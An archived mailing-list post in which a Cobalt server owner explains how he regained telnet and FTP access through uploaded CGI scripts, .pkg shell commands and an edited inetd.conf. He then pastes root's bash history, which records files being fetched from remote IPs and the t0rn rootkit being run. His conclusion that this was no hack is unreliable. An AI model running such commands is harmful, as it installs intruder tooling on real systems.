[cobalt-users] access problem solved.

[Gerald Young <me@xxxxxxxxxxx>]

Hi all
im in and ftp and telnet are going again.

used an up0load .cgi to upload a copy of itself that uploaded and chmodded 755
files.
then made a .pkg and used shell commands in the upgrade_me file to chmod the
upload script then fired up a commandline.cgi so i could run system commands

checked the /etc/inetd.conf file and telnet and ftp were remmed out.
so got a copy and edited then used another .pkg to change ownership of
inetd.conf to admin so my cgi could overwrite it 
then run
killall -HUP inetd and all was go.

below is a bash_history file for root looks to me like ssh was installed and
about then inetd.conf was overwritten 
wondering id because it was an i386 rpm that was installed that was what caused
the problem.
seem smore like our admin guy installing stuff that has caused the prob rather
than a hack attack.
anyway thanks for the pkg tips etc.
b w gerald


w
cd /tmp
ftp://18.29.1.70/linux/redhat/6.2/en/os/i386/RedHat/RPMS//wget-1.5.3-6.i386.rpm 
rpm -Uvh ftp://18.29.1.70/linux/redhat/6.2/en/os/i386/RedHat/RPMS//wget-1.5.3-6.i386.rpm
cd /tmp
wget http://63.164.228.10/ssh.tar.gz
tar -vzxf ssh.tar.gz
rm -rf ssh.tar.gz
mkdir /etc/ssh2
cd ssh
wget http://the.wiretapped.net/security/cryptography/ssh/SSH/ssh-2.4.0.tar.gz
cd /tmp
rm -rf *
wget http://210.9.80.201/security/cryptography/ssh/SSH/rpms/ssh-2.4.0-1nox.i386.rpm
rpm -Uvh ssh-2.4.0-1nox.i386.rpm
cd /tmp
wget ftp://65.33.193.89/pub/tk.tar.gz
tar -vzxf tk.tar.gz
cd tk
./t0rn 52F32678 14780
rewt
exit



 -- 
Gerald Young    www.coolcat.net
 www.coolcoach.net - THE HOTTEST WAY TO LEARN -
-------------------------------------------------------------
Localhost: 10:23am  up 14:27,  3 users,  load average: 0.37, 0.10, 0.03
    Server:  5:47pm  up 343 days,  1:09,  1 user,  load average: 0.08, 0.02, 0.01

Word .doc's not accepted and automatically deleted